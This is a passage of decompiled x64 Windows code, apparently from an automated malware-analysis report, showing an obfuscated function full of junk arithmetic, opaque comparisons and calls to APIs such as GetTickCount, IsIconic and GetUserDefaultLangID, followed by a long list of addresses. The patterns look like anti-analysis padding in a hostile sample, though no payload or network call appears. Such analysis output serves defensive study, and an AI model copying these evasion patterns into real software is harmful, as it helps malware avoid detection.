				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t447);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				_t451 = ((_t447 & 0x8000007f) - _t692 | _t681) + _t692;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t451);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				_t455 = ((_t451 & 0x8000007f) - _t692 | _t681) + _t692;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(_t455);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				_t459 = ((_t455 & 0x8000007f) - _t692 | _t681) + _t692;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(_t459);
				_t460 = _t459 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7c78;
				_t463 = (_t460 - _t692 | _t681) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t463);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				_t467 = ((_t463 & 0x8000007f) - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t316 = r14d - 0x5c;
				if (_t316 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t467);
				r14d = __esi;
				if (_t316 >= 0) goto 0xb1ca7cd4;
				_t471 = ((_t467 & 0x8000007f) - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t471);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t474 = (_t471 - _t692 | _t681) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t474);
				r14d = __esi;
				_t475 = _t474 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				_t478 = (_t475 - _t692 | _t681) + _t692;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t478) & r14d) >= 0) goto 0xb1ca7d34;
				_t481 = (_t478 - _t692 | _t681) + _t692;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t481) & r14d) >= 0) goto 0xb1ca7d49;
				_t323 = (_t481 - _t692 | _t681) + _t692 - 0x67;
				 *0xb1decf60 = 0;
				if (_t323 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t323 >= 0) goto 0xb1ca7d7a;
				_t488 = (0x0000004d - _t692 | _t681) + _t692;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t323 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t488);
				if (_t323 >= 0) goto 0xb1ca7da0;
				_t491 = (_t488 - _t692 | _t681) + _t692;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t491);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t494 = (_t491 - _t692 | _t681) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t494);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t497 = (_t494 - _t692 | _t681) + _t692;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t326 = E00007FF67FF6B1D3ACF4(_t497) & r14d;
				if (_t326 >= 0) goto 0xb1ca7e07;
				_t500 = (_t497 - _t692 | _t681) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t326 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t500) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t500 - _t692 | _t681) + _t692);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t500 - _t692 | _t681) + _t692 - _t692 | _t681) + _t692);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t500 - _t692 | _t681) + _t692 - _t692 | _t681) + _t692 - _t692 | _t681) + _t692);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t514 = 0x15 + _t692;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t514);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t517 = (_t514 - _t692 | _t681) + _t692;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t517);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t333 = (_t517 - _t692 | _t681) + _t692 - 0x65;
				if (_t333 > 0) goto 0xb1ca7f1b;
				if (_t333 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t333 >= 0) goto 0xb1ca7f07;
				_t524 = (0x00000068 - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t524);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t527 = (_t524 - _t692 | _t681) + _t692;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t527) & r14d) >= 0) goto 0xb1ca7f44;
				_t530 = (_t527 - _t692 | _t681) + _t692;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t530) & r14d) >= 0) goto 0xb1ca7f59;
				_t533 = (_t530 - _t692 | _t681) + _t692;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t533) & r14d) >= 0) goto 0xb1ca7f76;
				_t536 = (_t533 - _t692 | _t681) + _t692;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t536);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t539 = (_t536 - _t692 | _t681) + _t692;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t539) & r14d) >= 0) goto 0xb1ca7fa9;
				_t542 = (_t539 - _t692 | _t681) + _t692;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t542);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t545 = (_t542 - _t692 | _t681) + _t692;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t545) & r14d) >= 0) goto 0xb1ca7fec;
				_t548 = (_t545 - _t692 | _t681) + _t692;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t548) & r14d) >= 0) goto 0xb1ca8005;
				_t551 = (_t548 - _t692 | _t681) + _t692;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t551) & r14d) >= 0) goto 0xb1ca8020;
				_t554 = (_t551 - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t554);
				_t351 = E00007FF67FF6B1D3ACF4(_t554) & r14d;
				if (_t351 >= 0) goto 0xb1ca8046;
				_t557 = (_t554 - _t692 | _t681) + _t692;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t351 != 0) goto 0xb1ca805e;
				if (_t351 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t692;
				E00007FF67FF6B1D3ACF4(_t557);
				if (_t351 >= 0) goto 0xb1ca807a;
				_t560 = (_t557 - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t560);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t563 = (_t560 - _t692 | _t681) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t563);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t566 = (_t563 - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t566);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t569 = (_t566 - _t692 | _t681) + _t692;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t569);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t572 = (_t569 - _t692 | _t681) + _t692;
				_t278 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t572) & r14d) >= 0) goto 0xb1ca812d;
				_t575 = (_t572 - _t692 | _t681) + _t692;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t575) & r14d) >= 0) goto 0xb1ca8142;
				_t578 = (_t575 - _t692 | _t681) + _t692;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t181 = E00007FF67FF6B1D3ACF4(_t578);
				_t182 = _t181 & r14d;
				if ((_t181 & r14d) >= 0) goto 0xb1ca8157;
				_t581 = (_t578 - _t692 | _t681) + _t692;
				r8d = r15d;
				r8b = _t581 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t694 + 0x20));
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t182, _t289, _t658,  *((intOrPtr*)(_t694 + 0x90)), 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t278, _t658, 0, _t581, _t698), _t289,  *((intOrPtr*)(_t694 + 0x90)));
				 *0xb1decf60 = _t692;
				E00007FF67FF6B1D3ACF4(_t581);
				E00007FF67FF6B1D3ACF4(_t581);
				asm("push es");
				_t584 = (_t581 - _t692 | 0xffffff80) + _t692;
				asm("movsd xmm6, [0x11694a]");
				_t362 = _t584 - 5;
				if (_t362 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t584);
				if (_t362 >= 0) goto 0xb1ca81e3;
				_t587 = (_t584 - _t692 | 0xffffff80) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t362 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t587);
				if (_t362 >= 0) goto 0xb1ca820e;
				_t590 = (_t587 - _t692 | 0xffffff80) + _t692;
				if (_t590 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t590);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t593 = (_t590 - _t692 | 0xffffff80) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t593;
				 *0xb1decf60 = _t692;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t365 = r12d - 0x42;
				if (_t365 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t593);
				if (_t365 >= 0) goto 0xb1ca8274;
				_t596 = (_t593 - _t692 | 0xffffff80) + _t692;
				_t366 = _t596 - 0x2e;
				if (_t366 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t596);
				if (_t366 >= 0) goto 0xb1ca828f;
				_t280 = r15d & 0xffffff00 | (_t596 - _t692 | 0xffffff80) + _t692 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t203 = E00007FF67FF6B1D3ACF4((_t596 - _t692 | 0xffffff80) + _t692);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t280;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t280;
				 *0x6b =  *0x6b + _t203;
				_t601 = _a152 + _t692;
				_a152 = _t601;
				 *0xb1decf60 = _t601;
				_t368 = _t601 - 0x1f;
				if (_t368 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t692;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t601 =  *_t601 | _t601;
				if (_t368 >= 0) goto 0xb1ca8308;
				_t604 = (_t601 - _t692 | 0xffffff80) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t368 != 0) goto 0xb1ca8318;
				if (_t368 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t604) & r14d) >= 0) goto 0xb1ca8333;
				_t607 = (_t604 - _t692 | 0xffffff80) + _t692;
				if (_t607 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t607) & r14d) >= 0) goto 0xb1ca835e;
				_t610 = (_t607 - _t692 | 0xffffff80) + _t692;
				if (_t610 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t610);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t613 = (_t610 - _t692 | 0xffffff80) + _t692;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t613);
				if (_t613 - 0x34 >= 0) goto 0xb1ca8397;
				_t616 = (_t613 - _t692 | 0xffffff80) + _t692;
				_t376 = _t616 - 0x1f;
				if (_t376 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t616);
				if (_t376 >= 0) goto 0xb1ca83ac;
				_t377 = (_t616 - _t692 | 0xffffff80) + _t692 - 4;
				if (_t377 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t616 - _t692 | 0xffffff80) + _t692);
				if (_t377 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t379 = r13d - 0x54;
				if (_t379 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t379 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t692;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t692;
				IsIconic(??);
				asm("adc al, 0x0");
				_t625 = 0x50 + _t692;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t625);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t628 = (_t625 - _t692 | 0xffffff80) + _t692;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t628);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t631 = (_t628 - _t692 | 0xffffff80) + _t692;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t631);
				E00007FF67FF6B1D3ACF4(_t631);
				E00007FF67FF6B1D3ACF4(_t631);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t634 = (_t631 - _t692 | 0xffffff80) + _t692;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t692;
				E00007FF67FF6B1D3ACF4(_t634);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t637 = (_t634 - _t692 | 0xffffff80) + _t692;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t637);
				E00007FF67FF6B1D3ACF4(_t637);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t640 = (_t637 - _t692 | 0xffffff80) + _t692;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t640);
				E00007FF67FF6B1D3ACF4(_t640);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t643 = (_t640 - _t692 | 0xffffff80) + _t692;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t643);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t649 = ((_t643 - _t692 | 0xffffff80) + _t692 - _t692 | 0xffffff80) + _t692;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t246 = E00007FF67FF6B1D3ACF4(_t649);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t649 - _t692 | 0xffffff80) + _t692 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t246 & r14d;
			}

0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b8c
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7ba0
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc0
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c08
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c20
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c34
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c48
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c62
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
